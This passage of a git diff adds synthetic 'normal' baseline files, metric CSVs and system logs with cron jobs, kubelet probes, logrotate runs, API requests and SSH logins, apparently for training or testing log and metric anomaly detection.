Liveness probe succeeded for pod database-pod +Aug 18 10:00:35 web-app[1810]: GET /api/v1/user/46 status=200 OK +Aug 18 10:00:40 kubelet[2345]: INFO Liveness probe succeeded for pod database-pod +Aug 18 10:00:50 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 18 10:01:00 CRON[5451]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 18 10:01:05 kubelet[2345]: INFO Liveness probe succeeded for pod database-pod +Aug 18 10:01:10 web-app[1810]: GET /api/v1/user/45 status=200 OK +Aug 18 10:01:15 systemd[1]: Starting daily clean up activities... +Aug 18 10:01:20 kubelet[2345]: INFO Liveness probe succeeded for pod database-pod +Aug 18 10:01:30 kubelet[2345]: INFO Liveness probe succeeded for pod database-pod +Aug 18 10:01:35 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 18 10:01:45 web-app[1810]: GET /api/v1/user/24 status=200 OK +Aug 18 10:01:55 kubelet[2345]: INFO Liveness probe succeeded for pod database-pod +Aug 18 10:02:00 CRON[5452]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 18 10:02:15 kubelet[2345]: INFO Liveness probe succeeded for pod database-pod +Aug 18 10:02:20 web-app[1810]: GET /api/v1/user/37 status=200 OK +Aug 18 10:02:30 systemd[1]: Starting daily clean up activities... +Aug 18 10:02:45 kubelet[2345]: INFO Liveness probe succeeded for pod database-pod +Aug 18 10:02:55 web-app[1810]: GET /api/v1/user/35 status=200 OK +Aug 18 10:03:00 CRON[5453]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 18 10:03:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 18 10:03:30 systemd[1]: Starting Log Rotation... +Aug 18 10:03:30 logrotate[8167]: Rotating pattern: /var/log/nginx/*.log weekly (4 rotations) +Aug 18 10:03:35 logrotate[8167]: emptying /var/log/nginx/access.log +Aug 18 10:03:40 logrotate[8167]: compressing /var/log/nginx/access.log.1 +Aug 18 10:03:45 logrotate[8167]: running postrotate script +Aug 18 10:03:50 systemd[1]: logrotate.service: Succeeded. +Aug 18 10:04:00 CRON[5454]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 18 10:04:05 web-app[1810]: GET /api/v1/user/25 status=200 OK +Aug 18 10:04:15 kubelet[2345]: INFO Liveness probe succeeded for pod database-pod +Aug 18 10:04:40 web-app[1810]: GET /api/v1/user/26 status=200 OK +Aug 18 10:04:45 kubelet[2345]: INFO Liveness probe succeeded for pod database-pod +Aug 18 10:04:50 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 18 10:04:55 kubelet[2345]: INFO Liveness probe succeeded for pod database-pod +Aug 18 10:05:00 CRON[5455]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 18 10:05:10 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 18 10:05:15 web-app[1810]: GET /api/v1/user/19 status=200 OK +Aug 18 10:05:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 18 10:05:50 web-app[1810]: GET /api/v1/user/45 status=200 OK +Aug 18 10:05:55 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 18 10:06:00 CRON[5456]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 18 10:06:05 kubelet[2345]: INFO Liveness probe succeeded for pod database-pod +Aug 18 10:06:15 systemd[1]: Starting daily clean up activities... +Aug 18 10:06:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 18 10:06:25 web-app[1810]: GET /api/v1/user/46 status=200 OK +Aug 18 10:06:30 kubelet[2345]: INFO Liveness probe succeeded for pod database-pod +Aug 18 10:06:45 kubelet[2345]: INFO Liveness probe succeeded for pod database-pod +Aug 18 10:06:50 kubelet[2345]: INFO Liveness probe succeeded for pod database-pod +Aug 18 10:06:55 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 18 10:07:00 CRON[5457]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 18 10:07:20 kubelet[2345]: INFO Liveness probe succeeded for pod database-pod diff --git a/norm_dataset/scenario_2/norm_2_20.csv b/norm_dataset/scenario_2/norm_2_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..ff9bd325a836e4b27922c97c8ee72cdcd0c66940 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,18.82663720741248,46.820008993259954,26.524452203305692,1.0327691972500603,0.9594681822231449 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+2025-07-02T12:07:25Z,21.0338339572276,39.13337911497137,41.57611108060425,1.076144319229843,1.024370968923586 diff --git a/norm_dataset/scenario_2/norm_2_20.log b/norm_dataset/scenario_2/norm_2_20.log new file mode 100644 index 0000000000000000000000000000000000000000..f6d97d0b52ba14c7942bbc5fa62e61db5e852ff0 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_20.log @@ -0,0 +1,15 @@ +Jul 02 12:00:00 kernel: random kernel message +Jul 02 12:00:30 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:00 kernel: random kernel message +Jul 02 12:01:30 kernel: random kernel message +Jul 02 12:02:00 kernel: random kernel message +Jul 02 12:02:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:03:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:04:30 kernel: random kernel message +Jul 02 12:05:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:05:30 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:06:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:06:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:07:00 web-app[1234]: GET /api/v1/user/12 status=200 OK diff --git a/norm_dataset/scenario_2/norm_2_21.csv b/norm_dataset/scenario_2/norm_2_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..844ec210d650cee2d54ec41f375a2f750c491316 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,16.530654882964992,46.820008993259954,26.524452203305692,1.0327691972500603,0.7594681822231449 +2025-07-02T12:00:05Z,14.349277131777766,42.19852062802704,24.29477472129663,1.5199214859513401,0.7540970802451897 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b/norm_dataset/scenario_2/norm_2_21.log new file mode 100644 index 0000000000000000000000000000000000000000..b1db74cce030d38361ce7c1602afa9ee58d43878 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_21.log @@ -0,0 +1,21 @@ +Jul 02 12:00:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:35 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:10 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:02:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:02:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:55 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:03:30 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:03:45 logrotate[6789]: Reading state from /var/lib/logrotate/status +Jul 02 12:03:45 logrotate[6789]: Rotating pattern: /var/log/nginx/*.log weekly (4 rotations) +Jul 02 12:03:55 systemd[1]: logrotate.service: Succeeded. +Jul 02 12:04:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:04:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:05:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:05:15 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:05:50 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:06:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:06:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:07:00 web-app[1234]: GET /api/v1/user/12 status=200 OK diff --git a/norm_dataset/scenario_2/norm_2_22.csv b/norm_dataset/scenario_2/norm_2_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..3e74b817f8a5b278f04559d75aac9070f8f7930e --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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10:00:35 kubelet[1123]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:01:00 web-app[2345]: GET /api/v1/health status=200 OK +Jul 03 10:01:10 kubelet[1123]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:01:30 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:45 kubelet[1123]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:02:00 web-app[2345]: GET /api/v1/health status=200 OK +Jul 03 10:02:20 kubelet[1123]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:02:55 kubelet[1123]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:03:00 web-app[2345]: GET /api/v1/health status=200 OK +Jul 03 10:03:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:03:30 kubelet[1123]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:03:45 CRON[8751]: (root) CMD (run-parts /etc/cron.daily) +Jul 03 10:03:45 systemd[1]: Starting Daily Log Rotation... +Jul 03 10:03:50 logrotate[8755]: compressing /var/log/nginx/access.log.1 +Jul 03 10:03:50 logrotate[8755]: compressing /var/log/syslog.1 +Jul 03 10:03:55 logrotate.service: Succeeded. +Jul 03 10:03:55 systemd[1]: Finished Daily Log Rotation. +Jul 03 10:04:00 web-app[2345]: GET /api/v1/health status=200 OK +Jul 03 10:04:05 kubelet[1123]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:04:30 systemd[1]: Starting daily clean up activities... +Jul 03 10:04:40 kubelet[1123]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:05:00 web-app[2345]: GET /api/v1/health status=200 OK +Jul 03 10:05:15 kubelet[1123]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:05:50 kubelet[1123]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:06:00 web-app[2345]: GET /api/v1/health status=200 OK +Jul 03 10:06:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:06:25 kubelet[1123]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:07:00 web-app[2345]: GET /api/v1/health status=200 OK +Jul 03 10:07:00 kubelet[1123]: INFO Liveness probe succeeded for pod web-app-pod \ No newline at end of file diff --git a/norm_dataset/scenario_2/norm_2_23.csv b/norm_dataset/scenario_2/norm_2_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..80f482d2f0ead179d424582ac175e06c9f237f5f --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,16.799046538948005,40.996370627488666,30.05767309748018,1.0388198867170821,1.0775910412930139 +2025-07-02T12:00:05Z,14.73791919384587,41.52790868705257,29.238295130738088,1.484161119957903,1.2864798058300386 +2025-07-02T12:00:10Z,15.688786027794912,40.6595261010277,21.8424836793401,0.7530093173335937,1.4349308401686192 +2025-07-02T12:00:15Z,11.712995900686504,41.70410033596498,31.629562277089715,0.5116942841496946,0.9970726744686688 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+2025-07-02T12:06:20Z,14.355757927191277,39.180211066596684,31.726147265477973,0.6006444391291567,1.0691570218483402 +2025-07-02T12:06:25Z,16.275419553805328,38.749248688214536,25.708418818932152,1.1274730799282602,0.5909473049235964 +2025-07-02T12:06:30Z,16.269543351244813,38.56404673018714,27.366444132400172,1.0682988102013968,1.400572822843233 +2025-07-02T12:06:35Z,13.225724968820996,38.56143851431721,30.763158736821058,0.6482732119560499,1.0918500353660385 +2025-07-02T12:06:40Z,10.801416364179865,38.67781019749106,21.47075676743545,0.8092288267803018,0.9412097030240096 +2025-07-02T12:06:45Z,13.6361002838096,38.9277031810105,23.30176200174451,0.5226654059592477,0.6009097435457471 +2025-07-02T12:06:50Z,15.70331881864914,39.776034538757145,21.341864428354917,1.422546776476513,0.692234000514195 +2025-07-02T12:06:55Z,17.29561810730508,40.011424970132516,24.443344898080547,0.8761046683686493,0.9662304061932723 +2025-07-02T12:07:00Z,15.113312323928723,40.34012272859987,29.295981806108557,1.333332565305499,1.0248571836682832 +2025-07-02T12:07:05Z,16.16805034368288,39.700076727460655,31.31395305651492,0.5553951951892595,1.1288663633193596 +2025-07-02T12:07:10Z,14.786657592712523,39.88881812551948,26.632188179577888,1.2149014638306346,1.0312715013781522 +2025-07-02T12:07:15Z,19.933268807570755,40.46992985190028,24.266903867424038,1.245655123327642,0.6236630284163001 +2025-07-02T12:07:20Z,10.494173925253442,40.66049881438092,21.783586409728628,1.3406345401283333,1.4740473906184604 +2025-07-02T12:07:25Z,10.131392333322806,40.65973216604466,32.91115699238909,0.5266226978084054,1.0270373879431058 diff --git a/norm_dataset/scenario_2/norm_2_23.log b/norm_dataset/scenario_2/norm_2_23.log new file mode 100644 index 0000000000000000000000000000000000000000..bb4402381e4358a911e3423d279ceb3d926bc81a --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_23.log @@ -0,0 +1,132 @@ +Jul 02 12:00:00 systemd[1]: Checking for pending updates... +Jul 02 12:00:06 web-app[1234]: GET /api/v1/user/43 status=200 OK +Jul 02 12:00:08 web-app[1234]: GET /api/v1/user/41 status=200 OK +Jul 02 12:00:10 web-app[1234]: GET /api/v1/user/75 status=200 OK +Jul 02 12:00:11 web-app[1234]: GET /api/v1/user/49 status=200 OK +Jul 02 12:00:18 web-app[1234]: GET /api/v1/user/65 status=200 OK +Jul 02 12:00:20 web-app[1234]: GET /api/v1/user/69 status=200 OK +Jul 02 12:00:20 web-app[1234]: GET /api/v1/user/43 status=200 OK +Jul 02 12:00:28 web-app[1234]: GET /api/v1/user/33 status=200 OK +Jul 02 12:00:32 web-app[1234]: GET /api/v1/user/46 status=200 OK +Jul 02 12:00:33 web-app[1234]: GET /api/v1/user/72 status=200 OK +Jul 02 12:00:35 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:41 web-app[1234]: GET /api/v1/user/92 status=200 OK +Jul 02 12:00:45 web-app[1234]: GET /api/v1/user/84 status=200 OK +Jul 02 12:00:46 web-app[1234]: GET /api/v1/user/41 status=200 OK +Jul 02 12:00:50 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:56 web-app[1234]: GET /api/v1/user/74 status=200 OK +Jul 02 12:00:58 web-app[1234]: GET /api/v1/user/55 status=200 OK +Jul 02 12:01:03 web-app[1234]: GET /api/v1/user/43 status=200 OK +Jul 02 12:01:06 web-app[1234]: GET /api/v1/user/53 status=200 OK +Jul 02 12:01:10 systemd[1]: Session opened for user root. +Jul 02 12:01:15 web-app[1234]: GET /api/v1/user/21 status=200 OK +Jul 02 12:01:16 web-app[1234]: GET /api/v1/user/10 status=500 Internal Server Error +Jul 02 12:01:20 web-app[1234]: GET /api/v1/user/18 status=200 OK +Jul 02 12:01:21 web-app[1234]: GET /api/v1/user/54 status=200 OK +Jul 02 12:01:28 web-app[1234]: GET /api/v1/user/56 status=200 OK +Jul 02 12:01:31 web-app[1234]: GET /api/v1/user/22 status=200 OK +Jul 02 12:01:31 web-app[1234]: GET /api/v1/user/36 status=200 OK +Jul 02 12:01:38 web-app[1234]: GET /api/v1/user/52 status=200 OK +Jul 02 12:01:40 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:45 systemd[1]: Checking for pending updates... +Jul 02 12:01:50 web-app[1234]: GET /api/v1/user/59 status=500 Internal Server Error +Jul 02 12:01:53 web-app[1234]: GET /api/v1/user/96 status=200 OK +Jul 02 12:01:55 web-app[1234]: GET /api/v1/user/47 status=200 OK +Jul 02 12:01:56 web-app[1234]: GET /api/v1/user/38 status=200 OK +Jul 02 12:02:00 web-app[1234]: GET /api/v1/user/27 status=500 Internal Server Error +Jul 02 12:02:05 web-app[1234]: GET /api/v1/user/24 status=200 OK +Jul 02 12:02:05 web-app[1234]: GET /api/v1/user/31 status=200 OK +Jul 02 12:02:12 web-app[1234]: GET /api/v1/user/79 status=200 OK +Jul 02 12:02:13 web-app[1234]: GET /api/v1/user/73 status=200 OK +Jul 02 12:02:15 web-app[1234]: GET /api/v1/user/29 status=200 OK +Jul 02 12:02:20 systemd[1]: Checking for pending updates... +Jul 02 12:02:25 web-app[1234]: GET /api/v1/user/30 status=200 OK +Jul 02 12:02:26 web-app[1234]: GET /api/v1/user/32 status=200 OK +Jul 02 12:02:30 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:36 web-app[1234]: GET /api/v1/user/56 status=200 OK +Jul 02 12:02:36 web-app[1234]: GET /api/v1/user/84 status=200 OK +Jul 02 12:02:41 web-app[1234]: GET /api/v1/user/67 status=404 Not Found +Jul 02 12:02:47 web-app[1234]: GET /api/v1/user/19 status=200 OK +Jul 02 12:02:50 web-app[1234]: GET /api/v1/user/68 status=200 OK +Jul 02 12:02:51 web-app[1234]: GET /api/v1/user/66 status=200 OK +Jul 02 12:02:55 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:01 systemd[1]: Starting Log Rotation... +Jul 02 12:03:02 web-app[1234]: GET /api/v1/user/23 status=200 OK +Jul 02 12:03:05 web-app[1234]: GET /api/v1/user/70 status=200 OK +Jul 02 12:03:06 logrotate[6789]: Compressing /var/log/web-app.log +Jul 02 12:03:07 web-app[1234]: GET /api/v1/user/88 status=200 OK +Jul 02 12:03:12 systemd[1]: logrotate.service: Succeeded. +Jul 02 12:03:12 web-app[1234]: GET /api/v1/user/78 status=200 OK +Jul 02 12:03:18 web-app[1234]: GET /api/v1/user/61 status=200 OK +Jul 02 12:03:20 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:03:27 web-app[1234]: GET /api/v1/user/37 status=200 OK +Jul 02 12:03:27 web-app[1234]: GET /api/v1/user/42 status=200 OK +Jul 02 12:03:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:35 web-app[1234]: GET /api/v1/user/28 status=200 OK +Jul 02 12:03:40 web-app[1234]: GET /api/v1/user/67 status=200 OK +Jul 02 12:03:46 web-app[1234]: GET /api/v1/user/16 status=200 OK +Jul 02 12:03:46 web-app[1234]: GET /api/v1/user/29 status=200 OK +Jul 02 12:03:51 web-app[1234]: GET /api/v1/user/62 status=200 OK +Jul 02 12:03:57 web-app[1234]: GET /api/v1/user/80 status=200 OK +Jul 02 12:03:58 web-app[1234]: GET /api/v1/user/66 status=200 OK +Jul 02 12:04:00 web-app[1234]: GET /api/v1/user/75 status=200 OK +Jul 02 12:04:01 web-app[1234]: GET /api/v1/user/24 status=200 OK +Jul 02 12:04:05 systemd[1]: Session opened for user root. +Jul 02 12:04:10 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:04:16 web-app[1234]: GET /api/v1/user/65 status=500 Internal Server Error +Jul 02 12:04:17 web-app[1234]: GET /api/v1/user/68 status=500 Internal Server Error +Jul 02 12:04:22 web-app[1234]: GET /api/v1/user/45 status=404 Not Found +Jul 02 12:04:23 web-app[1234]: GET /api/v1/user/27 status=200 OK +Jul 02 12:04:25 web-app[1234]: GET /api/v1/user/79 status=200 OK +Jul 02 12:04:28 web-app[1234]: GET /api/v1/user/25 status=200 OK +Jul 02 12:04:33 web-app[1234]: GET /api/v1/user/14 status=200 OK +Jul 02 12:04:36 web-app[1234]: GET /api/v1/user/99 status=500 Internal Server Error +Jul 02 12:04:40 systemd[1]: Checking for pending updates... +Jul 02 12:04:45 web-app[1234]: GET /api/v1/user/70 status=200 OK +Jul 02 12:04:50 web-app[1234]: GET /api/v1/user/69 status=200 OK +Jul 02 12:04:53 web-app[1234]: GET /api/v1/user/21 status=200 OK +Jul 02 12:04:57 web-app[1234]: GET /api/v1/user/44 status=200 OK +Jul 02 12:05:00 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:05:08 web-app[1234]: GET /api/v1/user/81 status=200 OK +Jul 02 12:05:08 web-app[1234]: GET /api/v1/user/31 status=200 OK +Jul 02 12:05:12 web-app[1234]: GET /api/v1/user/39 status=200 OK +Jul 02 12:05:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:20 web-app[1234]: GET /api/v1/user/43 status=200 OK +Jul 02 12:05:22 web-app[1234]: GET /api/v1/user/60 status=200 OK +Jul 02 12:05:27 web-app[1234]: GET /api/v1/user/18 status=200 OK +Jul 02 12:05:30 web-app[1234]: GET /api/v1/user/57 status=200 OK +Jul 02 12:05:33 web-app[1234]: GET /api/v1/user/90 status=500 Internal Server Error +Jul 02 12:05:37 web-app[1234]: GET /api/v1/user/75 status=200 OK +Jul 02 12:05:38 web-app[1234]: GET /api/v1/user/92 status=200 OK +Jul 02 12:05:40 web-app[1234]: GET /api/v1/user/56 status=200 OK +Jul 02 12:05:41 web-app[1234]: GET /api/v1/user/28 status=200 OK +Jul 02 12:05:45 web-app[1234]: GET /api/v1/user/37 status=200 OK +Jul 02 12:05:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:58 web-app[1234]: GET /api/v1/user/79 status=500 Internal Server Error +Jul 02 12:06:01 web-app[1234]: GET /api/v1/user/58 status=200 OK +Jul 02 12:06:03 web-app[1234]: GET /api/v1/user/23 status=200 OK +Jul 02 12:06:06 web-app[1234]: GET /api/v1/user/21 status=200 OK +Jul 02 12:06:10 web-app[1234]: GET /api/v1/user/22 status=200 OK +Jul 02 12:06:17 web-app[1234]: GET /api/v1/user/47 status=200 OK +Jul 02 12:06:18 web-app[1234]: GET /api/v1/user/17 status=500 Internal Server Error +Jul 02 12:06:21 web-app[1234]: GET /api/v1/user/84 status=200 OK +Jul 02 12:06:25 systemd[1]: Checking for pending updates... +Jul 02 12:06:30 web-app[1234]: GET /api/v1/user/17 status=500 Internal Server Error +Jul 02 12:06:37 web-app[1234]: GET /api/v1/user/91 status=200 OK +Jul 02 12:06:37 web-app[1234]: GET /api/v1/user/52 status=200 OK +Jul 02 12:06:40 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:06:48 web-app[1234]: GET /api/v1/user/30 status=200 OK +Jul 02 12:06:48 web-app[1234]: GET /api/v1/user/50 status=200 OK +Jul 02 12:06:53 web-app[1234]: GET /api/v1/user/35 status=200 OK +Jul 02 12:06:53 web-app[1234]: GET /api/v1/user/81 status=200 OK +Jul 02 12:06:56 web-app[1234]: GET /api/v1/user/55 status=200 OK +Jul 02 12:07:00 systemd[1]: Session opened for user root. +Jul 02 12:07:08 web-app[1234]: GET /api/v1/user/74 status=200 OK +Jul 02 12:07:08 web-app[1234]: GET /api/v1/user/81 status=200 OK +Jul 02 12:07:13 web-app[1234]: GET /api/v1/user/58 status=200 OK +Jul 02 12:07:13 web-app[1234]: GET /api/v1/user/10 status=200 OK +Jul 02 12:07:16 web-app[1234]: GET /api/v1/user/70 status=200 OK +Jul 02 12:07:16 web-app[1234]: GET /api/v1/user/15 status=200 OK +Jul 02 12:07:21 web-app[1234]: GET /api/v1/user/64 status=200 OK +Jul 02 12:07:23 web-app[1234]: GET /api/v1/user/84 status=404 Not Found +Jul 02 12:07:27 web-app[1234]: GET /api/v1/user/40 status=200 OK diff --git a/norm_dataset/scenario_2/norm_2_24.csv b/norm_dataset/scenario_2/norm_2_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..a84e2731b5b6820478c721db745406c168a9c276 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,14.3,44.55,21.52,1.03,0.86 +2025-08-22T10:00:05Z,11.02,41.47,19.29,1.5,0.85 +2025-08-22T10:00:10Z,12.28,36.87,22.27,1.22,1.13 +2025-08-22T10:00:15Z,14.36,40.65,30.05,1.35,0.61 +2025-08-22T10:00:20Z,14.69,39.47,32.15,1.44,1.12 +2025-08-22T10:00:25Z,11.97,37.72,27.04,1.19,0.85 +2025-08-22T10:00:30Z,8.67,39.73,23.17,1.06,1.1 +2025-08-22T10:00:35Z,14.64,37.83,30.45,0.8,0.8 +2025-08-22T10:00:40Z,10.9,40.22,28.05,0.8,0.78 +2025-08-22T10:00:45Z,12.05,38.91,29.18,0.78,1.02 +2025-08-22T10:00:50Z,12.73,44.39,19.46,0.8,0.7 +2025-08-22T10:00:55Z,5.0,40.23,28.86,0.52,0.58 +2025-08-22T10:01:00Z,13.05,39.92,25.56,1.18,0.64 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+2025-08-22T10:04:25Z,16.7,37.22,23.15,0.97,1.03 +2025-08-22T10:04:30Z,12.04,40.26,30.1,0.79,0.92 +2025-08-22T10:04:35Z,8.1,38.07,20.13,0.95,1.01 +2025-08-22T10:04:40Z,16.83,38.96,26.76,1.0,0.8 +2025-08-22T10:04:45Z,15.3,37.93,24.67,1.28,0.68 +2025-08-22T10:04:50Z,12.09,41.7,32.21,1.0,0.66 +2025-08-22T10:04:55Z,10.75,38.36,38.9,0.91,1.03 +2025-08-22T10:05:00Z,8.93,38.27,27.29,0.9,0.96 +2025-08-22T10:05:05Z,13.58,40.83,23.57,0.66,1.12 +2025-08-22T10:05:10Z,20.0,39.49,29.69,1.0,0.56 +2025-08-22T10:05:15Z,6.82,44.0,28.42,0.75,1.12 +2025-08-22T10:05:20Z,10.09,38.87,27.13,0.94,1.01 +2025-08-22T10:05:25Z,15.94,38.44,30.14,1.03,0.62 +2025-08-22T10:05:30Z,7.46,38.74,18.54,0.87,1.0 +2025-08-22T10:05:35Z,11.93,38.2,31.14,0.89,0.98 +2025-08-22T10:05:40Z,12.0,39.37,30.64,0.81,0.67 +2025-08-22T10:05:45Z,14.83,41.1,28.82,0.58,1.23 +2025-08-22T10:05:50Z,12.93,39.92,22.31,0.89,0.51 +2025-08-22T10:05:55Z,8.28,44.02,18.62,1.16,0.91 +2025-08-22T10:06:00Z,11.22,40.93,30.41,1.5,0.9 +2025-08-22T10:06:05Z,13.6,36.42,27.29,1.12,1.17 +2025-08-22T10:06:10Z,9.45,43.03,22.19,1.34,0.82 +2025-08-22T10:06:15Z,13.75,39.2,20.13,1.0,0.82 +2025-08-22T10:06:20Z,10.53,38.39,32.09,1.17,0.68 +2025-08-22T10:06:25Z,16.38,38.52,27.89,1.38,0.85 +2025-08-22T10:06:30Z,15.91,38.7,29.32,1.42,1.16 +2025-08-22T10:06:35Z,18.55,43.21,25.74,1.1,1.15 +2025-08-22T10:06:40Z,9.03,40.84,22.31,0.86,0.96 +2025-08-22T10:06:45Z,12.31,38.18,20.41,0.91,0.79 +2025-08-22T10:06:50Z,13.61,41.77,26.14,1.19,0.5 +2025-08-22T10:06:55Z,9.37,36.64,31.74,1.09,0.85 +2025-08-22T10:07:00Z,16.38,43.8,26.71,0.88,0.72 +2025-08-22T10:07:05Z,11.02,42.02,17.7,0.82,0.5 +2025-08-22T10:07:10Z,11.91,40.23,28.44,0.79,1.27 +2025-08-22T10:07:15Z,14.55,40.92,27.25,1.04,1.06 +2025-08-22T10:07:20Z,9.0,39.53,21.02,0.5,0.5 +2025-08-22T10:07:25Z,15.62,39.42,36.58,1.08,0.92 diff --git a/norm_dataset/scenario_2/norm_2_24.log b/norm_dataset/scenario_2/norm_2_24.log new file mode 100644 index 0000000000000000000000000000000000000000..f9f22ab0241e1ec36bf7a015bd0a5a67172d517e --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_24.log @@ -0,0 +1,25 @@ +Aug 22 10:00:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:00:45 sshd[7685]: Accepted password for user from 192.168.1.120 port 53039 ssh2 +Aug 22 10:01:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:01:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:40 CRON[9066]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:02:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:05 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:02:20 sshd[6252]: Accepted password for user from 192.168.1.42 port 45642 ssh2 +Aug 22 10:02:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:02:40 CRON[8316]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:03:00 CRON[12439]: (root) CMD (test -x /usr/sbin/logrotate && /usr/sbin/logrotate /etc/logrotate.conf) +Aug 22 10:03:00 systemd[1]: Starting Rotate log files... +Aug 22 10:03:15 systemd[1]: logrotate.service: Succeeded. +Aug 22 10:03:15 systemd[1]: Finished Rotate log files. +Aug 22 10:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:04:00 CRON[5005]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:04:10 sshd[9615]: Accepted password for user from 192.168.1.65 port 55133 ssh2 +Aug 22 10:04:20 sshd[6889]: Accepted password for user from 192.168.1.141 port 58466 ssh2 +Aug 22 10:05:00 kernel: [1755857100.0] audit: type=1400 audit(SESSION): apparmor="DENIED" operation="open" profile="/usr/sbin/sssd" 